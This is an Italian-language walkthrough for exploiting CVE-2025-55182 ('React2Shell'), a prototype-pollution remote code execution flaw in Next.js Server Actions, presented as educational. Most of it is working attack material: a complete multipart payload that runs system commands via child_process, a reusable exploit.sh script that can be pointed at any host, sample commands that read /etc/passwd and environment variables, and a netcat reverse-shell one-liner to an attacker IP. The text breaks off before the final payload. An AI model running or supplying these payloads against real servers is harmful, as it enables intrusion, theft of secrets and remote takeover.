
CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica che colpisce le applicazioni Next.js che utilizzano React Server Components (RSC) e Server Actions.
⚠️ Disclaimer: Questa documentazione è fornita solo a scopo educativo e di ricerca sulla sicurezza. Qualsiasi uso non autorizzato di queste tecniche contro sistemi che non possiedi o per i quali non hai un permesso esplicito di test è illegale.
CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica che colpisce le applicazioni Next.js che utilizzano:
Un attaccante può ottenere Remote Code Execution (RCE) sul server sfruttando:
__proto__ e constructorConseguenza: È possibile eseguire comandi di sistema arbitrari con i privilegi del processo Node.js.
Next.js utilizza un protocollo proprietario multipart/form-data per comunicare tra client e server:
Client (Browser)
↓
[multipart/form-data RSC payload]
↓
Next.js Server
↓
Deserialization + Execution
↓
Response
La vulnerabilità esiste perché:
__proto__, constructor)Un attaccante può creare un payload che modifica le proprietà interne degli oggetti:
{
"then": "$1:__proto__:then", // Targets the prototype chain
"_response": {
"_prefix": "malicious code here" // Code injection
}
}
Sfruttando __proto__, l'attaccante inquina il prototipo degli oggetti JavaScript, influenzando tutti gli oggetti che ne ereditano.
All'interno del campo _prefix, l'attaccante inietta codice JavaScript che:
process.mainModule.require()child_processexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
Il risultato del comando viene nascosto nella risposta di errore:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js restituisce questo errore al client e l'output del comando è visibile nel campo digest.
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Install Node.js 20
nvm install 20
nvm use 20
# Install dependencies
cd test-server
npm install
npm run dev
Il server è ora accessibile all'indirizzo:
http://localhost:3000
curl http://localhost:3000/
In questa fase, il server si comporta normalmente.
http://localhost:3000/ nel browserVerrà intercettata una richiesta GET. Inviala alla scheda Repeater:
Sostituisci l'intera richiesta con il seguente payload:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Clicca su Send
Crea un file exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Rendilo eseguibile:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Per ottenere un accesso completo alla shell interattiva, usa una reverse shell.
ncat -lvnp 9009
Oppure con netcat:
nc -lvnp 9009
Modifica il payload con il seguente comando (sostituisci <ATTACKER_IP> con il tuo indirizzo IP):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
Il payload completo diventa: